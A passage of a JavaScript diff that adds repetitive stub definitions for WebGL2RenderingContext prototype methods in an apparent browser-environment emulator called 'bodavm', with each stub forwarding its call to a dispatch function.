configurable: true, + enumerable: true, + writable: true, + value: function readPixels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readPixels", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorage", { + configurable: true, + enumerable: true, + writable: true, + value: function renderbufferStorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorageMultisample", { + configurable: true, + enumerable: true, + writable: true, + value: function renderbufferStorageMultisample() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorageMultisample", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "resumeTransformFeedback", { + configurable: true, + enumerable: true, + writable: true, + value: function resumeTransformFeedback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "resumeTransformFeedback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "sampleCoverage", { + configurable: true, + enumerable: true, + writable: true, + value: function sampleCoverage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "sampleCoverage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameterf", { + configurable: true, + enumerable: true, + writable: true, + value: function samplerParameterf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameterf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameteri", { + configurable: true, + enumerable: true, + writable: true, + value: function samplerParameteri() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameteri", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "shaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function shaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "shaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMask", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMaskSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilMaskSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMaskSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOp", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOpSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function stencilOpSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOpSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function texImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameterf", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameterf() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameterf", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameteri", { + configurable: true, + enumerable: true, + writable: true, + value: function texParameteri() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameteri", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texStorage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function texStorage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function texSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage3D", { + configurable: true, + enumerable: true, + writable: true, + value: function texSubImage3D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage3D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "transformFeedbackVaryings", { + configurable: true, + enumerable: true, + writable: true, + value: function transformFeedbackVaryings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "transformFeedbackVaryings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4ui", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformBlockBinding", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformBlockBinding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformBlockBinding", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "useProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function useProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "useProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "validateProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function validateProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "validateProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribDivisor", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribDivisor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribDivisor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4i", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribI4i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4ui", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribI4ui() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4ui", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribIPointer", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribIPointer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribIPointer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "waitSync", { + configurable: true, + enumerable: true, + writable: true, + value: function waitSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "waitSync", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function bindTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfi", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferfi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfi", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfv", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferfv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferiv", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferuiv", { + configurable: true, + enumerable: true, + writable: true, + value: function clearBufferuiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferuiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearColor", { + configurable: true, + enumerable: true, + writable: true, + value: function clearColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearDepth", { + configurable: true, + enumerable: true, + writable: true, + value: function clearDepth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearDepth", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearStencil", { + configurable: true, + enumerable: true, + writable: true, + value: function clearStencil() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearStencil", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "colorMask", { + configurable: true, + enumerable: true, + writable: true, + value: function colorMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "colorMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function disableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArrays", { + configurable: true, + enumerable: true, + writable: true, + value: function drawArrays() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArrays", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawBuffers", { + configurable: true, + enumerable: true, + writable: true, + value: function drawBuffers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawBuffers", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElements", { + configurable: true, + enumerable: true, + writable: true, + value: function drawElements() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElements", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enableVertexAttribArray", { + configurable: true, + enumerable: true, + writable: true, + value: function enableVertexAttribArray() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enableVertexAttribArray", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "scissor", { + configurable: true, + enumerable: true, + writable: true, + value: function scissor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "scissor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform1uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform2uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform3uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4f", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4i", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4i() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4i", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4iv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4uiv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniform4uiv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4uiv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2x3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix2x4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3x2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix3x4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4x2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function uniformMatrix4x3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib1fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib2fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib3fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4f", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4f() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4f", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4fv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttrib4fv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4fv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4iv", { + configurable: true, + enumerable: true, + writable: true, + value: function vertexAttribI4iv() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4iv", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4uiv", { + configurable: true, + 